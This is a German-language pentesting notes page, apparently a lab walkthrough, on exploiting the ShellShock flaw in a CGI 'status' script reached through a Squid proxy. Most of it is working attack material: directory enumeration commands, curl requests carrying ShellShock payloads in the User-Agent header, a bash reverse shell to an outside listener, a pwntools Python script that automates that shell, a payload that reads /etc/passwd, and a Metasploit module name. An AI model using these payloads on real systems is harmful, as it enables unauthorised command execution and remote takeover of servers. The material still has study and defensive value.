> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md).

# ShellShock-Status

Mit dem Tool **GoBuster**, suchen wir nach Systempfaden

```shell
gobuster dir -u http://192.168.71.131/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash

```

In diesem Fall finde ich den Pfad **/cgi-bin/**, der für einen ShellShock-Angriff anfällig sein kann:

<figure><img src="/files/55a7cae9acc9782ed42bdc3387b81563aa0784de" alt=""><figcaption></figcaption></figure>

Nun suchen wir in diesem selben Pfad nach Dateien mit den Erweiterungen **sh, pl, cgi**, usw.

```shell
gobuster dir -u http://192.168.71.131/cgi-bin/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x pl,sh,cgi

```

<figure><img src="/files/4831dafc576287ee5efe7007abcfdff8ef613690" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6a24143b1e8f584cb77121173cc1d90ae5624c57" alt=""><figcaption></figcaption></figure>

## ShellShock:

Mit curl sehen wir, wenn wir eine Anfrage senden, dass es der **gleiche Befehl wie uptime**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128

```

<figure><img src="/files/a16e655568dcff799d6114494cecd92bb17c95a8" alt=""><figcaption></figcaption></figure>

Mit curl nutzen wir die **ShellShock** Schwachstelle, um Befehle auszuführen. Immer die **absoluten Pfad**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

<figure><img src="/files/9c3150a4baaeec56b9427d34fc8c3ca48c620b7f" alt=""><figcaption></figcaption></figure>

Um **um Zugriff zu erlangen** auf die Maschine führen wir den folgenden Befehl aus:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"

```

<figure><img src="/files/ac748acb91a4e177f822eea3b9d1e555c640d468" alt=""><figcaption></figcaption></figure>

## Automatisiertes Python-Skript:

```python
#!/usr/bin/python3
import sys, signal, requests, threading
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# ShellShock-Status
signal.signal(signal.SIGINT, def_handler)
main_url = "http://127.0.0.1/cgi-bin/status"
squid_proxy = {'http': 'http://192.168.71.131:3128'}
lport = 443
def shellshock_attack():
    headers = {'User-Agent': "() {:; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"}
    r = requests.get(main_url, headers=headers, proxies=squid_proxy)
if __name__ == '__main__':
    try:
        threading.Thread(target=shellshock_attack).start()
    except Exceptiwe as e:
        log.error(str(e))
    shell = listen(lport, timeout=20).wait_for_login()
    if shell.sock is None:
        log.failure("Anmeldung konnte nicht hergestellt werden")
        sys.exit(1)
    else:
        shell.interactive()

```

<figure><img src="/files/9e295a25bd6db51c786ea3a01517d9ff63785bd9" alt=""><figcaption></figcaption></figure>

## Ausnutzung mit Burp Suite

In Burp Suite können wir das ShellShock-Payload im Header injizieren **User-Agent** um zu versuchen, Befehle auf dem Zielserver auszuführen:

```bash
User-Agent: () {:; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

```

Wenn die Schwachstelle vorhanden ist, sendet der Server den Inhalt der Datei `/etc/passwd`, vorausgesetzt, dass die Befehlsausführung möglich ist.

## Ausnutzung mit Metasploit

Metasploit bietet einen speziellen Exploit für diese Schwachstelle: Laden Sie das ShellShock-Modul:

```bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec

```

Wenn der Exploit erfolgreich ist, wird auf dem Zielsystem eine Shell erhalten.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
